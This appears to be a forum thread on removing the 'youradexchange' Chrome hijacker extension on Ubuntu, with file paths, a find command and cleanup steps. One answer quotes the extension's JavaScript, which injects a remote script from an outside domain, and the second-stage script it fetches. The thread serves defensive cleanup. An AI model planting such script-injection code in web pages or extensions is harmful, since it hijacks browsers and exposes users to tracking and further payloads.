remove youradexchange malware from chrome

Question

Does anyone have experience removing the 'youradexchange.com' browser hijack on ubuntu? I find a lot of information regarding this for Windows, but there is nothing for linux. When I am using Chrome, I always see, "waiting for my-app-analytics.com". Googling has led me to believe it is related to the browser hijack.

Solution 1

I have exactly the same issue.

I manage to remove the malware extension from my ubuntu machine.

The extension is saved under :

/home/user/.config/chromium/Default/Extensions/gpomcmpdonjdffeabllcklpbnfdknnko

But it could be saved under another folder name. You can find it searching for this file :

find -name gui_web.js

Just delete this folder, and it should be fixed.

the content of this file is explicit :

var app  = document.createElement('script');
app.type = 'text/javascript';
app.src  = '//www.web-cdn.net/cdn/web.js';
document.getElementsByTagName("head")[0].appendChild(app);

It downloads this script web.js which content is :

var app  = document.createElement('script');
app.type = 'text/javascript';
app.src  = '//www.my-app-analytics.com/app-ga.php';
document.getElementsByTagName("head")[0].appendChild(app);

Solution 2

If you are running Windows OS, then this post will definitely help, as it did to me. Try some similar action to remove the malware from Ubuntu:

1. Check add-ons (/usr/lib/chromium-browser) and remove any suspicious (YourAdExchange should be there).
2. Delete Chrome caches (~/.cache/google-chrome) and personal files (~/.config/google-chrome).
3. Reset homepage to Google.

If the above steps do not work, you may install clamAV (works in some cases). Hope this helps!

Comments

[0x2b3bfa0]

Try completely removing chrome and then install it.